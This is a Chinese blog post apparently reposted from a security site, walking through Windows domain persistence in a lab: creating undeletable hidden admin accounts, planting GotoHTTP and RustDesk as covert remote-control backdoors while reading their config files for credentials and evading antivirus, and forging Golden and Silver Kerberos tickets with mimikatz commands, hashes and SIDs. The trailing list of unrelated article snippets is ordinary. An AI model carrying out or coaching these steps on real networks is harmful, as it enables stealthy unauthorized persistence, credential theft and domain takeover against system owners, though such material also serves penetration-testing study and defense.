windows权限维持—黄金白银票据隐藏用户远控RustDeskGotoHttp

windows权限维持—黄金白银票据&隐藏用户&远控&RustDesk&GotoHttp

  • 1. 前置
    • 1.1. 初始问题
      • 1.1.1. 解决办法
  • 2. 隐藏用户
    • 2.1. 工具原理
    • 2.2. 案例操作
      • 2.2.1. 单机添加用户
        • 2.2.1.1. 工具添加用户
        • 2.2.1.2. 工具查看隐藏用户
        • 2.2.1.3. 本地查看隐藏用户
      • 2.2.2. 域内添加用户
        • 2.2.2.1. 工具添加用户
        • 2.2.2.2. 工具查看隐藏用户
        • 2.2.2.3. 本地查看隐藏用户
    • 2.3. 总结
  • 3. 远控软件
    • 3.1. GotoHTTP
      • 3.1.1. 运行软件
      • 3.1.2. 远控读取文件
      • 3.1.3. 远控桌面
      • 3.1.4. 总结
    • 3.2. RustDesk
      • 3.2.1. 远程版RustDesk
        • 3.2.1.1. 运行软件
        • 3.2.1.2. 读取远控文件
        • 3.2.1.3. 远控桌面
      • 3.2.2. 本地版RustDesk
        • 3.2.2.1. 配置软件
        • 3.2.2.2. 远程桌面
      • 3.2.3. 总结
  • 4. 基于服务TGT—黄金白银票据
    • 4.1. 黄金票据
      • 4.1.1. 操作演示
        • 4.1.1.1. 获取域名与SID
        • 4.1.1.2. 获取KRBTGT账户NTLM
        • 4.1.1.3. 伪造用户名
        • 4.1.1.4. 导入内存
      • 4.1.2. 总结
    • 4.2. 白银票据
      • 4.2.1. 操作演示
        • 4.2.1.1. 获取域名与SID
        • 4.2.1.2. 获取DC账户NTLM
        • 4.2.1.3. 伪造用户名
      • 4.2.2. 总结
    • 4.3. 总结

1. 前置

  在上篇权限维持中,有一个知识点出现了错误,基于机制账号启动—DSRM,里面的用户应该使用的是用户是krbtgt账号,不应该随便使用一个用户,当时测试的时候,是由于在域用户内找了很久都没找到这个用户,今天在测试的时候,使用查找是找到了这个用户,但是最关键的问题就是在域内用户列表中依旧是找不到的,虽然被停用,但应该也不至于找不到吧。

  注意基于机制账号启动—DSRM要使用krbtgt账号来测试,由于krbtgt是密钥分发中心的账号,通常也不会有人去管理这个用户,而且将DSRM的密码同步过来后,就可以使用krbtgt账号来进行登陆。

1.1. 初始问题

  一开始的问题就是,重置这里出现了问题,我查阅了网上一大堆文章,每篇文章就截了个图,或者直接说,这里启用就可以了,你写你*文章啊,给鬼看的啊。

  其实这个原因就是krbtgt这个用户被禁用了,同时你直接在ad用户与计算机中还找不到这个用户,使用查找找到了,还不能修改,提示本地账户无权限。

在这里插入图片描述

1.1.1. 解决办法

  这里去在AD管理中心能够找到这个用户,不过依旧启用不了,但是将密码修改为永不过期就能够解决这个问题了。

在这里插入图片描述

2. 隐藏用户

  隐藏用户是在日常留后门中最常用的一种操作,可以将用户隐藏起来,来实现不被察觉。这里默认情况使用命令添加的隐藏用户,是能够被查询到的并且删除的,但是使用工具添加的隐藏用户就算被查询到,但是是无法被删除的。

  CreateHiddenAccount

2.1. 工具原理

  其实这个工具的原理就是在创建用户的时候添加$符号,并且将该用户的用户组设定为空,不过在单域环境中用户组是空,域环境中用户组是administrator组,导致无法删除。

2.2. 案例操作

  这里就简单的将工具上传至目标靶机上进行执行,但是目前这个工具不免杀了,基本上就是下载就是被杀。

  这里我们测试单机情况与域情况。

2.2.1. 单机添加用户

  这里我们测试单机添加与查询。

2.2.1.1. 工具添加用户

CreateHiddenAccount_upx_v0.2.exe -u yaya -p admin@123   ##添加用户

在这里插入图片描述

2.2.1.2. 工具查看隐藏用户

  这里是使用这个工具自带的查询来进行查询隐藏用户。

CreateHiddenAccount_upx_v0.2.exe -c

在这里插入图片描述

2.2.1.3. 本地查看隐藏用户

  可以看到从本地确实也能够看到隐藏用户,但是你会发现,是无法删除这个用户的,其实这个就是由于之前说的,在单机版中用户的用户组什么都没添加,所以导致无权进行删除。

在这里插入图片描述

2.2.2. 域内添加用户

  这里查询域内添加与查询。

2.2.2.1. 工具添加用户

CreateHiddenAccount_upx_v0.2.exe -u yaya -p admin@123

在这里插入图片描述

2.2.2.2. 工具查看隐藏用户

CreateHiddenAccount_upx_v0.2.exe -c

在这里插入图片描述

2.2.2.3. 本地查看隐藏用户

  可以看到这里是可以删除的,而单机版中是直接点击删除就提示禁止删除。

在这里插入图片描述

2.3. 总结

  总的来说隐藏用户目前的手段基本上服务器出现问题,第一件事都是查询隐藏用户,所以这个算是后门的一种方式,但是现在再来看已经不是那么好用了。

3. 远控软件

  远控软件都不陌生,比如向日葵、todesk等,都是远控软件,这类远控软件都不会被杀毒软件杀,这是由于这些产品都属于远程办公类软件,杀毒软件厂家基本上都把这些软件都列入白名单中的,所以各种操作都会被杀毒软件检测。

  而且原先向日葵是存有那种便携版的,不需要安装即可使用,但是后续版本高,同时RCE漏洞,导致向日葵现在都需要进行安装,而你去建立后面,直接使用向日葵的话,你需要安装,同时目标风险很大,所以在实际过程中,尽量使用一些小而轻巧的软件来实现远程控制,从而达到权限维持。

  不过也还是那句话,如果服务器经常有人巡检,像这类工具,你上传基本上就会被查到,太明显了。

3.1. GotoHTTP

  GotoHTTP Windows版本是绿色软件,点击右边链接下载软件包,文件大小仅数百K,只有一个文件在软件包中,将其解压到你电脑的某个位置,并双击运行它, 将会自动连接到服务器并显示这台电脑的ID及控制码。

GotoHTTP

3.1.1. 运行软件

  Windows7运行后会弹出这个弹窗,可能在命令行上操作会比较麻烦,同时Windows7有,那么意味着可能Windows server 2008这些老版的服务器都会出现,不过在Windows10上操作是没问题的。

在这里插入图片描述

3.1.2. 远控读取文件

  你运行完会发现,在该软件目录下会创建一个配置文件,届时你使用CS去读取一下这个配置文件就可以了,这个配置文件中会存在账户密码的。

在这里插入图片描述

3.1.3. 远控桌面

  登陆下面的网站,在网站上面会有一个输入账号密码的地方,这里输入上去就可以了,无需下载上面客户端,服务端的,现在还要收费了,尴尬…

  远程桌面

在这里插入图片描述

3.1.4. 总结

  这个工具存在一个问题就是有网络的情况下才能够使用,而在无网络的情况下是无法使用的,同时流量是走https协议,需要目标主机开放443端口。

  简单来说就是:

  有网络,无限制,可以使用。

  有网络,如果防火墙限制了443端口,无法使用。

  无网络,无限制,可以使用,但是可能需要转发,比较麻烦。

  无网络,有限制,基本上就是无法使用。

  同时如果目标主机处于待机状态,如果被唤醒是会被防火墙拦截的。

3.2. RustDesk

  远程桌面软件,开箱即用,无需任何配置。您完全掌控数据,不用担心安全问题。

  RustDesk

3.2.1. 远程版RustDesk

  这里的远控版意思就是可以从网络上进行连接,简单来说就是有网络情况下使用。

3.2.1.1. 运行软件

  这个工具默认打开是英文的,不过是可以在设置中修改为中文的。

在这里插入图片描述

3.2.1.2. 读取远控文件

  这个工具的账号密码文件在C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk.toml下,不过很可惜,新版的这个工具可能无法读取文件了,老版是还有的。

在这里插入图片描述

3.2.1.3. 远控桌面

  这里可以看到是成功连接上对方的桌面了,但这里由于我是虚拟机,比较卡,所以画面传输的比较慢。

在这里插入图片描述

3.2.2. 本地版RustDesk

  本地版的意思就是无需网络,只要两个软件在同一个局域网内,都可以进行连接。

3.2.2.1. 配置软件

  同样这里,先去读取一下文件C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk2.toml,添加下列内容。

direct-server = 'Y'      ##开启IP连接
direct-access-port = '8443' ##端口   

在这里插入图片描述

3.2.2.2. 远程桌面

  这里我们是使用域内环境,其实也就是不出网情况,这里可以看到,直接在输入对方的ID位置,输入IP加端口即可。

IP:8443  ##8443是你再配置文件中修改的端口地址。

在这里插入图片描述

3.2.3. 总结

  总体来说这个工具要比GotoHTTP要方便很多,最主要的功能就是能够脱离网络实现连接,同时可以绕过有杀软的环境。

4. 基于服务TGT—黄金白银票据

  Kerberos协议是Windows域内认证常用的协议,整体的认证流程也就是黄金票据与白银票据的攻击场景。整体的流程较为复杂,理解起来也不是看完就能了解的。

  参考文章

  注意黄金票据与白银票据归属在权限维持阶段,而不是横向移动阶段。

4.1. 黄金票据

  黄金票据原理就是通过伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户,同时可以访问目标主机中任何服务。

  在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了黄金票据后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

  利用条件:获取域控的权限、krbtgt用户的hash值。

4.1.1. 操作演示

  这里我就不在CS中去操作了,直接实际操作,如果出现一些无法在CS中完成的,我会进行说明。

4.1.1.1. 获取域名与SID

  注意这里的SID最后面的4位是不需要的。

whoami    ##获取本地账户
net time /domain   ##获取域名
whoami /all      ##获取sid:S-1-5-21-1695257952-3088263962-2055235443

在这里插入图片描述

4.1.1.2. 获取KRBTGT账户NTLM

  这里需要使用mimikatz来进行获取。

privilege::debug
lsadump::lsa /patch /user:krbtgt   ##558ae7f88589153355cbeb046ac696df

在这里插入图片描述

4.1.1.3. 伪造用户名

  这里的用户名随便伪造一个,我这里伪造成yuto吧。

mimikatz kerberos::golden /user:yuto /domain:xiaodi.local /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:pj

在这里插入图片描述

4.1.1.4. 导入内存

  可以看到这里找一台域内主机,将这个票据导入后就能够服务域控了。

kerberos::ptt pj

在这里插入图片描述

4.1.2. 总结

  黄金票据,为什么说是黄金票据,由于该票据是不受TGT生命周期限制的,默认情况下TGT票据默认是10小时、最多续订7天,而且这个票据可以一直保存,只要KRBTGT账户的密码不被修改,则该票据可以一直访问,同时利用上也简单。

  不过黄金票据也属于二次攻击,第一次是为了拿到域控权限而去进行操作,而第二次攻击则是为了再次获取权限来进行的操作,同时黄金票据不单单可以生成krbtgt用户的TGT票据,还可以生成其他用户的,只不过,由于krbtgt用户的密码通常很少会去修改,所以间接性保证了票据的稳定性,如果是其他用户,可能几天改一次就导致票据失效。

4.2. 白银票据

  黄金票据伪造的是TGT也就是门票发门票,而白银票据则是伪造ST也就是门票,白银票据的好处是不会经过KDC,从而更加的隐蔽,但是缺点也很明显,那就是只对部分服务起作用,例如:cifs(文件共享服务)、mssql、winrm(Windows远程管理)、DNS等。

  利用条件:拿到目标机器的hash,也就是登陆的hash值,这里不一定是DC的,但是我们权限维持,尽量还是去拿DC的权限。

4.2.1. 操作演示

  同样这里也是不使用CS来操作,直接在机器上操作,CS中是一样的。

4.2.1.1. 获取域名与SID

  这里和黄金票据是一样的,就不演示了。

whoami
net time /domain
whoami /all

4.2.1.2. 获取DC账户NTLM

  这里要注意是机器名,不要是administrator的账户。

privilege::debug
sekurlsa::logonpasswords  ##f0ff7995e6d3396e869a01e6b465eeaa

在这里插入图片描述

4.2.1.3. 伪造用户名

  这里的用户名随便伪造一个,我这里伪造成yuto吧。

  • domain:域名
  • sid:域环境下的SID,除去最后-的部分剩下的内容
  • target:要访问的服务器,写FQDN
  • rc4:写的是目标主机的NTLM(主机名$对应NTLM)
  • service:要访问的资源类型
  • user:伪造的用户
  • cifs:共享文件

  其实这里可以看到导入后,确实有票据了,但是利用确实比较麻烦的,这里是将目标服务定位cifs,也就是说只有当目标主机上有cifs服务的时候才能进行利用。

kerberos::golden /user:yuto /domain:xiaodi.local /sid:S-1-5-21-1695257952-3088263962-2055235443 /target:DC /service:cifs /rc4:f0ff7995e6d3396e869a01e6b465eeaa /pttkerberos::golden /user:xxx用户名 /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash  /ptt

在这里插入图片描述

4.2.2. 总结

  白银票据可利用的局限性太多了。

4.3. 总结

  关于黄金票据与白银票据的简要总结。

  黄金票据:是抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。

  白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/40084.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NeuralNLP-NeuralClassifier的使用记录(二),训练预测自己的【中文文本多分类】

NeuralNLP-NeuralClassifier的使用记录,训练预测自己的【中文文本多分类】 数据准备: ​ 与英文的训练预测一致,都使用相同的数据格式,将数据通过代码处理为JSON格式,以下是我使用的一种,不同的原数据情况…

java+springboot+mysql理发会员管理系统

项目介绍: 使用javaspringbootmysql开发的理发会员管理系统,系统包含超级管理员,系统管理员、客户、发型师角色,功能如下: 超级管理员:管理员管理;会员管理;发型师管理&#xff1b…

如何保证数据库的数据和Redis的数据一致性

实际项目中有可能会使用Redis缓存数据,那么在更新数据的时候如何保证数据库中的数据和Redis缓存的数据一致,缓存同步策略的选择是一个很重要的问题。网上有各种说法,大概总结有以下几种,看看每种方案是否可行以及存在的问题和适用…

安装软件包

安装软件包 创建一个名为 /home/curtis/ansible/packages.yml 的 playbook : 将 php 和 mariadb 软件包安装到 dev、test 和 prod 主机组中的主机上 将 RPM Development Tools 软件包组安装到 dev 主机组中的主机上 将 dev 主机组中主机上的所有软件包更新为最新版本 vim packa…

关于Firmae缺失binwalk模块

问题 david707:~/FirmAE$ sudo ./run.sh -c weyow ./WAM_9900-20.06.03V.trx [*] ./WAM_9900-20.06.03V.trx emulation start!!! Traceback (most recent call last):File "./sources/extractor/extractor.py", line 19, in <module>import binwalk ModuleNot…

Docker容器:docker基础概述、安装、网络及资源控制

文章目录 一.docker容器概述1.什么是容器2. docker与虚拟机的区别2.1 docker虚拟化产品有哪些及其对比2.2 Docker与虚拟机的区别 3.Docker容器的使用场景4.Docker容器的优点5.Docker 的底层运行原理6.namespace的六项隔离7.Docker核心概念 二.Docker安装 及管理1.安装 Docker1.…

【k8s】基于Prometheus监控Kubernetes集群安装部署

目录 基于Prometheus监控Kubernetes集群安装部署 一、环境准备 二、部署kubernetes集群 三、部署Prometheus监控平台 四、部署Grafana服务 五、grafana web操作 基于Prometheus监控Kubernetes集群安装部署 一、环境准备 IP地址 主机名 组件 192.168.100.131 k8s-ma…

时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积门控循环单元时间序列预测

时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积门控循环单元时间序列预测 目录 时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积门控循环单元时间序列预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积…

基于LVQ神经网络的人脸朝向识别

1案例背景 1.1人脸识别概述 人脸识别作为一个复杂的模式识别问题,近年来受到了广泛的关注,识别领域的各种方法在这个问题上各显所长,而且发展出了许多新方法,大大丰富和拓宽了模式识别的方向。人脸识别、检测,跟踪、特征定位等技术近年来一直是研究的热点。人脸识别是人脸应用…

【制作npm包1】申请npm账号、认识个人包和组织包

概述 在开发当中经常有一种现象&#xff0c;重复代码写了N多遍&#xff0c;再次写同样的逻辑就再次翻查以前的代码逻辑。效率低下且容易出错&#xff0c;封装一个npm包的价值也不仅仅是给别人用&#xff0c;封装一套属于自己或者本部门的npm包也是相当有必要。 也许经常看到一…

RabbitMQ的5种消息队列

RabbitMQ的5种消息队列 1、七种模式介绍与应用场景 1.1 简单模式(Hello World) 一个生产者对应一个消费者&#xff0c;RabbitMQ 相当于一个消息代理&#xff0c;负责将 A 的消息转发给 B。 应用场景&#xff1a;将发送的电子邮件放到消息队列&#xff0c;然后邮件服务在队列…

【git】初次使用git上传代码到github远程仓库

目录 0.前言1.新建代码库2.添加SSH公钥2.1 前置准备2.2 Git 基本信息设置2.3 添加SSH Key 3.本地仓库上传到github3.1 建立本地仓库并初始化3.2 初始化仓库3.3 建立本地与github上新建项目链接3.4 同步github新建项目到本地3.5 添加本地文件到缓存区3.6 为上传文件添加注释3.7 …

注册中心Eureka和Nacos,以及负载均衡Ribbon

1.初识微服务 1.1.什么是微服务 微服务&#xff0c;就是把服务拆分成为若干个服务&#xff0c;降低服务之间的耦合度&#xff0c;提供服务的独立性和灵活性。做到高内聚&#xff0c;低耦合。 1.2.单体架构和微服务架构的区别&#xff1a; 单体架构&#xff1a;简单方便&#…

DevExpress WinForms数据编辑器组件,提供丰富的数据输入样式!(一)

DevExpress WinForms超过80个高影响力的WinForms编辑器和多用途控件&#xff0c;从屏蔽数据输入和内置数据验证到HTML格式化&#xff0c;DevExpress数据编辑库提供了无与伦比的数据编辑选项&#xff0c;包括用于独立数据编辑或用于容器控件(如Grid, TreeList和Ribbon)的单元格。…

云原生 envoy xDS 动态配置 java控制平面开发 支持restful grpc实现 EDS 动态endpoint配置

envoy xDS 动态配置 java控制平面开发 支持restful grpc 动态endpoint配置 大纲 基础概念Envoy 动态配置API配置方式动静结合的配置方式纯动态配置方式实战 基础概念 Envoy 的强大功能之一是支持动态配置&#xff0c;当使用动态配置时&#xff0c;我们不需要重新启动 Envoy…

spring boot 整合mongodb

1、安装依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-mongodb</artifactId></dependency>2、配置数据库连接 spring:data:mongodb:host: localhostport: 27017username: xxxxxxp…

2682. 找出转圈游戏输家

题目描述&#xff1a; n 个朋友在玩游戏。这些朋友坐成一个圈&#xff0c;按 顺时针方向 从 1 到 n 编号。从第 i 个朋友的位置开始顺时针移动 1 步会到达第 (i 1) 个朋友的位置&#xff08;1 < i < n&#xff09;&#xff0c;而从第 n 个朋友的位置开始顺时针移动 1 步…

【广州华锐视点】帆船航行VR模拟实操系统

帆船航行VR模拟实操系统由广州华锐视点开发&#xff0c;是一种创新的教学工具&#xff0c;它利用虚拟现实技术&#xff0c;为学生提供了一个沉浸式的学习环境。通过这种系统&#xff0c;学生可以在虚拟的环境中进行帆船航行的实训&#xff0c;从而更好地理解和掌握帆船航行的技…

Maven(四)常用命令大全

目录 一、mvn 命令参数二、mvn 插件命令1.介绍2.查看插件的使用文档3.常用的插件命令 官网地址&#xff1a; https://maven.apache.org/官方插件清单&#xff1a; https://maven.apache.org/plugins/index.html Maven 是一个强大的构建工具&#xff0c;它提供了许多命令来进行项…

使用Python统计字符内容的占比

说明&#xff1a;如果有自己动手做过字符动画&#xff0c;会知道字符动画的“灵动性”核心在于使用的字符集。 简单来说&#xff0c;动画转为字符动画&#xff0c;原理是将动画转为灰阶图&#xff0c;灰度范围是0~255&#xff0c;然后将对应灰度的像素点转为对应比值的字符。这…